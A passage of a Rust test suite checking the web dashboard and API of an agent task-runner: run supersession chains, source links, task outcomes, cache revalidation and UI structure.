16008 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16013 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16014 assert!(
16015 alert.contains("position: fixed"),
16016 "an error about the thing under your thumb has to be visible from \
16017 where your thumb is: {alert}"
16018 );
16019 assert!(
16020 alert.contains("z-index: 25"),
16021 "above the dock (20) and the run-actions FAB (15), so neither \
16022 buries it: {alert}"
16023 );
16024 assert!(
16025 alert.contains("var(--tap)"),
16026 "and clear of the dock and the home indicator: {alert}"
16027 );
16028 assert!(
16031 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16032 "the FAB's column stays free: {alert}"
16033 );
16034 }
16035
16036 #[tokio::test]
16037 async fn an_older_attempt_says_what_replaced_it() {
16038 let fx = Fixture::start().await;
16039 let q = fx.queue();
16040 let runs = fx.runs();
16041 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16042 write_run(&runs, first, RunStatus::Stalled);
16043 write_run(&runs, second, RunStatus::Blocked);
16044
16045 let mut t = Task::new(
16046 "one task".to_owned(),
16047 "do it".to_owned(),
16048 PathBuf::from("/repo"),
16049 Source::Human,
16050 );
16051 t.runs = vec![first.to_owned(), second.to_owned()];
16052 q.put(&mut t).expect("put");
16053
16054 let rows = fx.get("/api/runs").await.json();
16058 let by = |short: &str| -> Value {
16059 rows.as_array()
16060 .unwrap()
16061 .iter()
16062 .find(|r| r["short"] == short)
16063 .cloned()
16064 .unwrap_or(Value::Null)
16065 };
16066 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16067 assert!(
16068 by("bbbb")["superseded_by"].is_null(),
16069 "the latest attempt is not superseded by anything"
16070 );
16071 assert!(APP_JS.contains("run.superseded_by"));
16073 assert!(APP_JS.contains("Superseded by"));
16074 }
16075
16076 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16077 let mut t = Task::new(
16078 "one task".to_owned(),
16079 "do it".to_owned(),
16080 PathBuf::from("/repo"),
16081 Source::Human,
16082 );
16083 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16084 t.status = status;
16085 t
16086 }
16087
16088 #[test]
16089 fn source_link_picks_the_page_that_filed_the_task() {
16090 let agent = |node: &str| Source::Agent {
16091 run: "20260904-014455-ab12".to_owned(),
16092 node: node.to_owned(),
16093 };
16094 let chat = source_link(&agent("chat")).expect("chat link");
16095 assert_eq!(chat.kind, "chat");
16096 assert_eq!(chat.id, "20260904-014455-ab12");
16097 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16098 let run = source_link(&agent("implement")).expect("run link");
16099 assert_eq!(
16100 (run.kind, run.href.as_str()),
16101 ("run", "#/runs/20260904-014455-ab12")
16102 );
16103 assert_eq!(source_link(&Source::Human), None);
16104 assert_eq!(
16105 source_link(&Source::Issue {
16106 number: 3,
16107 repo: "o/r".to_owned()
16108 }),
16109 None
16110 );
16111 let odd = source_link(&Source::Agent {
16112 run: "a b/c".to_owned(),
16113 node: "chat".to_owned(),
16114 })
16115 .expect("link");
16116 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16117 }
16118
16119 #[test]
16120 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16121 assert!(
16122 !APP_JS.contains("src.node === \"chat\""),
16123 "inline href rule is back"
16124 );
16125 assert!(
16126 APP_JS.matches("sourceLinkOf(").count() >= 4,
16127 "helper must serve every page"
16128 );
16129 assert!(
16130 APP_JS.matches("openChatLink(").count() >= 3,
16131 "the run page still needs its explicit chat link"
16132 );
16133 assert!(
16134 !APP_JS.contains("const openChat = el("),
16135 "the Queue card duplicates its source label link again"
16136 );
16137 assert!(
16138 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16139 "the task page must link a chat source label too"
16140 );
16141 }
16142
16143 #[test]
16144 fn task_ref_carries_the_source_link_for_a_chat_task() {
16145 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16146 t.source = Source::Agent {
16147 run: "20260904-014455-ab12".to_owned(),
16148 node: "chat".to_owned(),
16149 };
16150 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16151 let v = serde_json::to_value(&out).expect("json");
16152 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16153 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16154 assert_eq!(v["source_label"], t.source.label());
16155
16156 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16157 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16158 .expect("json");
16159 assert!(v["source_link"].is_null(), "{v}");
16160 }
16161
16162 #[test]
16163 fn task_view_serializes_source_link() {
16164 let mut t = Task::new(
16165 "t".to_owned(),
16166 "t".to_owned(),
16167 PathBuf::from("/repo"),
16168 Source::Agent {
16169 run: "20260901-000000-aaaa".to_owned(),
16170 node: "implement".to_owned(),
16171 },
16172 );
16173 t.runs.clear();
16174 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16175 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16176 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16177 }
16178
16179 #[tokio::test]
16180 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16181 let fx = Fixture::start().await;
16182 let runs = fx.runs();
16183 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16184 write_run(&runs, old, RunStatus::Blocked);
16185 write_run(&runs, new, RunStatus::Merged);
16186 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16187 fx.queue().put(&mut t).expect("put");
16188
16189 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16190 let task = &view["task"];
16191 assert_eq!(task["status"], "done");
16192 assert_eq!(task["is_latest"], false);
16193 assert_eq!(task["latest"]["short"], "bbbb");
16194 assert_eq!(task["finished_by"]["id"], new);
16195 assert_eq!(task["finished_by"]["outcome"], "merged");
16196 assert_eq!(task["closed_by_hand"], false);
16197 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16198 assert!(APP_JS.contains("finished_by"));
16199 assert!(APP_JS.contains("superseded by run"));
16200 }
16201
16202 #[tokio::test]
16203 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16204 let fx = Fixture::start().await;
16205 let runs = fx.runs();
16206 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16207 write_run(&runs, old, RunStatus::Stalled);
16208 write_run(&runs, new, RunStatus::Blocked);
16209 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16210 fx.queue().put(&mut t).expect("put");
16211
16212 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16213 assert_eq!(task["status"], "held");
16214 assert_eq!(task["is_latest"], true);
16215 assert!(task["latest"].is_null());
16216 assert!(task["finished_by"].is_null());
16217 assert_eq!(task["closed_by_hand"], false);
16218 }
16219
16220 #[tokio::test]
16221 async fn a_direct_run_has_no_task_outcome() {
16222 let fx = Fixture::start().await;
16223 let runs = fx.runs();
16224 let id = "20260901-000000-aaaa";
16225 write_run(&runs, id, RunStatus::Blocked);
16226 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16227 assert!(view["task"].is_null());
16228 }
16229
16230 #[test]
16231 fn task_outcome_does_not_guess_a_finishing_run() {
16232 let a = "20260901-000000-aaaa";
16233 let b = "20260901-000000-bbbb";
16234 let c = "20260901-000000-cccc";
16235 let dir = tempfile::tempdir().expect("tempdir");
16236 write_run(dir.path(), a, RunStatus::Blocked);
16237 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16238 let read = |id: &str| read_run(dir.path(), id).ok();
16240 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16243 let out = task_outcome(&t, a, 3, read);
16244 assert!(out.finished_by.is_none());
16245 assert!(out.closed_by_hand);
16246 let latest = out.latest.expect("latest");
16247 assert_eq!(latest.id, c);
16248 assert_eq!(latest.status, None);
16249 assert_eq!(latest.outcome, "record unreadable");
16250
16251 write_run(dir.path(), c, RunStatus::Ready);
16253 let t = outcome_task(&[a, c], TaskStatus::Done);
16254 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16255 assert_eq!(out.finished_by.expect("finisher").id, c);
16256 assert!(!out.closed_by_hand);
16257
16258 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16260 assert!(task_outcome(&t, a, 3, read).is_latest);
16261 }
16262
16263 #[tokio::test]
16264 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16265 let fx = Fixture::start().await;
16270 let q = fx.queue();
16271 let runs = fx.runs();
16272 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16273 write_run(&runs, first, RunStatus::Blocked);
16274 write_run(&runs, second, RunStatus::Merged);
16275
16276 let mut t = Task::new(
16277 "one task".to_owned(),
16278 "do it".to_owned(),
16279 PathBuf::from("/repo"),
16280 Source::Human,
16281 );
16282 t.runs = vec![first.to_owned(), second.to_owned()];
16283 q.put(&mut t).expect("put");
16284
16285 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16286 assert_eq!(earlier["superseded_by"], "dddd");
16287 assert_eq!(earlier["latest_attempt"]["id"], second);
16288 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16289 assert_eq!(
16290 earlier["latest_attempt"]["resolved"], true,
16291 "the run that replaced it landed, so this one reads as settled"
16292 );
16293
16294 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16295 assert!(
16296 later["superseded_by"].is_null(),
16297 "the latest attempt is not superseded by anything"
16298 );
16299 assert!(
16300 later["latest_attempt"].is_null(),
16301 "the latest attempt has no later attempt of its own"
16302 );
16303
16304 assert!(APP_JS.contains("run.latest_attempt"));
16311 assert!(APP_JS.contains("data-superseded"));
16312 assert!(APP_JS.contains("#/runs/${latest.id}"));
16313 }
16314
16315 #[tokio::test]
16316 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16317 let fx = Fixture::start().await;
16323 let q = fx.queue();
16324 let runs = fx.runs();
16325 let (a, b, c) = (
16326 "20260901-000000-aaaa",
16327 "20260901-000000-bbbb",
16328 "20260901-000000-cccc",
16329 );
16330 write_run(&runs, a, RunStatus::Blocked);
16331 write_run(&runs, b, RunStatus::Blocked);
16332 write_run(&runs, c, RunStatus::Merged);
16333
16334 let mut t = Task::new(
16335 "retried twice".to_owned(),
16336 "do it".to_owned(),
16337 PathBuf::from("/repo"),
16338 Source::Human,
16339 );
16340 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16341 q.put(&mut t).expect("put");
16342
16343 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16344 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16345 assert_eq!(
16346 view["latest_attempt"]["id"], c,
16347 "the chain's current head, not the intermediate Blocked retry"
16348 );
16349 assert_eq!(view["latest_attempt"]["resolved"], true);
16350
16351 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16352 assert_eq!(mid["latest_attempt"]["id"], c);
16353 assert_eq!(mid["latest_attempt"]["resolved"], true);
16354 }
16355
16356 #[tokio::test]
16357 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16358 let fx = Fixture::start().await;
16359 let q = fx.queue();
16360 let runs = fx.runs();
16361
16362 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16365 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16366 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16367 let mut t1 = Task::new(
16368 "still stuck".to_owned(),
16369 "do it".to_owned(),
16370 PathBuf::from("/repo"),
16371 Source::Human,
16372 );
16373 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16374 q.put(&mut t1).expect("put");
16375 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16376 assert_eq!(view1["latest_attempt"]["resolved"], false);
16377 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16378 assert_eq!(view1["latest_attempt"]["done"], true);
16379
16380 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16382 write_run(&runs, run_a, RunStatus::Blocked);
16383 write_run(&runs, run_b, RunStatus::Implementing);
16384 let mut t3 = Task::new(
16385 "retrying".to_owned(),
16386 "do it".to_owned(),
16387 PathBuf::from("/repo"),
16388 Source::Human,
16389 );
16390 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16391 q.put(&mut t3).expect("put");
16392 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16393 assert_eq!(view3["latest_attempt"]["id"], run_b);
16394 assert_eq!(view3["latest_attempt"]["resolved"], false);
16395 assert_eq!(view3["latest_attempt"]["done"], false);
16396
16397 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16402 write_run(&runs, noop_a, RunStatus::Blocked);
16403 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16404 let mut t2 = Task::new(
16405 "claims done".to_owned(),
16406 "do it".to_owned(),
16407 PathBuf::from("/repo"),
16408 Source::Human,
16409 );
16410 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16411 q.put(&mut t2).expect("put");
16412 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16413 assert_eq!(
16414 view2["latest_attempt"]["resolved"], false,
16415 "an unverified no-op claim must not read as a confirmed finish"
16416 );
16417
16418 assert!(APP_JS.contains("latest.resolved"));
16421 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16424 assert!(APP_JS.contains("Latest attempt: "));
16425 assert!(APP_JS.contains("in flight"));
16426 assert!(APP_JS.contains("not resolved"));
16427 }
16428
16429 #[tokio::test]
16430 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16431 let fx = Fixture::start().await;
16432 let js = fx.get("/app.js").await;
16438 assert_eq!(js.status, 200);
16439 let tag = js
16440 .header("etag")
16441 .expect("an etag to revalidate against")
16442 .to_owned();
16443 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16444 assert_eq!(
16445 js.header("cache-control"),
16446 Some("no-cache, must-revalidate"),
16447 "the phone has to ask every time"
16448 );
16449
16450 let again = fx
16453 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16454 .await;
16455 assert_eq!(
16456 again.status, 304,
16457 "a deck it already has costs one round trip"
16458 );
16459 assert!(again.body.is_empty(), "304 carries no body");
16460
16461 let weak = fx
16464 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16465 .await;
16466 assert_eq!(weak.status, 304);
16467 let stale = fx
16468 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16469 .await;
16470 assert_eq!(stale.status, 200, "an older build must be replaced");
16471 assert!(stale.body.contains("renderRunActions"));
16472 }
16473
16474 #[test]
16475 fn the_task_detail_has_an_actions_fab_and_sheet() {
16476 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16477 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16478 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16479 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16481 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16482 assert!(APP_JS.contains("renderTaskActions(task);"));
16484 assert!(APP_JS.contains("renderTaskActions(null);"));
16485 let sheet = APP_JS
16487 .find("function renderTaskActions")
16488 .expect("sheet renderer");
16489 let body = &APP_JS[sheet..sheet + 3000];
16490 assert!(body.contains("changePriority("));
16491 assert!(body.contains("openTaskEdit(task)"));
16492 assert!(body.contains("renderTaskHoldBox(host"));
16493 assert!(body.contains("renderTaskDoneBox(host"));
16494 assert!(body.contains("renderTaskDeleteBox(host"));
16495 assert!(APP_JS.contains("API.priority(id)"));
16496 assert!(APP_JS.contains("API.deleteTask(id)"));
16497 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16499 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16501 }
16502
16503 #[test]
16504 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16505 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16506 let actions = INDEX_HTML
16507 .find("id=\"run-actions-box\"")
16508 .expect("actions box");
16509 assert!(task < actions, "the task entry comes first in the sheet");
16510 assert!(APP_JS.contains("renderRunTaskEntry"));
16511 assert!(APP_JS.contains("\"Open task \""));
16512 assert!(APP_JS.contains("started directly, no task"));
16514 assert!(APP_JS.contains("sheet-task-link"));
16515 assert!(APP_JS.contains("task-chip-link"));
16516 }
16517
16518 #[test]
16519 fn the_deck_never_sends_the_operator_to_a_terminal() {
16520 assert!(
16523 !APP_JS.contains("Run `magi fold` first"),
16524 "the deck must offer the fold, not prescribe a shell command"
16525 );
16526 assert!(APP_JS.contains("foldRun:"));
16527 assert!(APP_JS.contains("resumeRun:"));
16528 assert!(APP_JS.contains("renderRunActions"));
16529
16530 assert!(APP_JS.contains("armedFold"));
16532 assert!(APP_JS.contains("Yes, fold worktrees"));
16533
16534 assert!(APP_JS.contains("can no longer be resumed"));
16537 }
16538
16539 #[test]
16540 fn a_finished_run_explains_itself_with_its_own_last_line() {
16541 assert!(
16547 !APP_JS.contains("collapsed on agent quota"),
16548 "a stall must not be explained by a cause the deck did not check"
16549 );
16550 assert!(
16551 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16552 "and a block must not offer a guess with an `or` in it"
16553 );
16554
16555 assert!(
16559 APP_JS.contains("setText(r.event, run.event || \"\")"),
16560 "the run's last line is rendered unconditionally"
16561 );
16562 assert!(
16563 !APP_JS.contains("moving && run.event"),
16564 "and never gated on the run still moving"
16565 );
16566
16567 assert!(APP_JS.contains("lost to quota"));
16569 }
16570
16571 #[test]
16593 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16594 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16595 let shapes_body_start =
16596 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16597 let shapes_close = APP_JS[shapes_body_start..]
16598 .find("].map(")
16599 .expect("the shape list is closed by its done-computing .map(...)")
16600 + shapes_body_start;
16601 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16602
16603 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16604 for entry in shapes_src.split('{').skip(1) {
16605 let waiting = entry.contains("waiting: true");
16606 let dead = entry.contains("live: \"dead\"");
16607 let status_at =
16608 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16609 let status_end = entry[status_at..]
16610 .find('"')
16611 .expect("the status string is closed")
16612 + status_at;
16613 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16614 }
16615 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16616
16617 let done_rule_marker = "done: !";
16621 let done_rule_at = APP_JS[shapes_close..]
16622 .find(done_rule_marker)
16623 .expect("the done rule follows the shape list")
16624 + shapes_close
16625 + done_rule_marker.len();
16626 let includes_at = APP_JS[done_rule_at..]
16627 .find(".includes(shape.status)")
16628 .expect("the done rule ends in .includes(shape.status)")
16629 + done_rule_at;
16630 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16631 .trim()
16632 .trim_start_matches('[')
16633 .trim_end_matches(']')
16634 .split(',')
16635 .map(|s| s.trim().trim_matches('"'))
16636 .filter(|s| !s.is_empty())
16637 .collect();
16638
16639 let shapes: Vec<(bool, String, bool, bool)> = shapes
16640 .into_iter()
16641 .map(|(waiting, status, dead)| {
16642 let done = !not_done.contains(&status.as_str());
16643 (waiting, status, dead, done)
16644 })
16645 .collect();
16646
16647 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16651 if waiting {
16652 return "waiting";
16653 }
16654 if dead
16655 && !matches!(
16656 status,
16657 "merged"
16658 | "ready"
16659 | "stalled"
16660 | "blocked"
16661 | "failed"
16662 | "verified_noop"
16663 | "superseded"
16664 | "already_in_base"
16665 )
16666 {
16667 return "stale";
16668 }
16669 match status {
16670 "merged" | "ready" => "landed",
16671 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16672 | "already_in_base" => "ended",
16673 _ => "flight",
16674 }
16675 }
16676
16677 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16680 match filter_key {
16681 "active" => !done,
16682 "flight" => !done && !waiting && !dead,
16683 "stale" => !done && !waiting && dead,
16684 "waiting" => waiting,
16685 "done" => done,
16686 "all" => true,
16687 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16688 }
16689 }
16690
16691 let compatible = |section: &str, filter_key: &str| {
16692 shapes.iter().any(|(waiting, status, dead, done)| {
16693 run_section(*waiting, status, *dead) == section
16694 && filter_matches(filter_key, *waiting, *dead, *done)
16695 })
16696 };
16697
16698 let expected = [
16703 ("waiting", [true, false, false, true, true, true]),
16704 ("stale", [true, false, true, false, false, true]),
16705 ("flight", [true, true, false, false, false, true]),
16706 ("landed", [false, false, false, false, true, true]),
16707 ("ended", [false, false, false, false, true, true]),
16708 ];
16709 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16710
16711 for (section, wants) in expected {
16712 for (filter_key, want) in filter_keys.iter().zip(wants) {
16713 assert_eq!(
16714 compatible(section, filter_key),
16715 want,
16716 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16717 );
16718 }
16719 }
16720
16721 assert!(
16724 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16725 );
16726 assert!(APP_JS.contains(
16727 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16728 ));
16729 assert!(APP_JS.contains(
16730 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16731 ));
16732 }
16733
16734 #[tokio::test]
16735 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16736 let dir = tempfile::tempdir().expect("tempdir");
16740 let explicit = dir.path().join("not-a-checkout");
16741 std::fs::create_dir_all(&explicit).expect("create dir");
16742 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16743
16744 let missing = dir.path().join("does-not-exist-at-all");
16745 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16746 }
16747
16748 #[test]
16749 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16750 assert!(APP_JS.contains("function statsDonutArcs"));
16751 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16752 assert!(APP_JS.contains("function statusInBucket"));
16754 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16755 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16756 let buckets = [
16757 "merged",
16758 "ready",
16759 "in_progress",
16760 "blocked",
16761 "failed",
16762 "verified_noop",
16763 "superseded",
16764 "stalled",
16765 ];
16766 for key in buckets {
16767 let var = format!("--verdict-{key}:");
16768 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16770 assert!(
16771 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16772 "{key}"
16773 );
16774 }
16775 }
16776}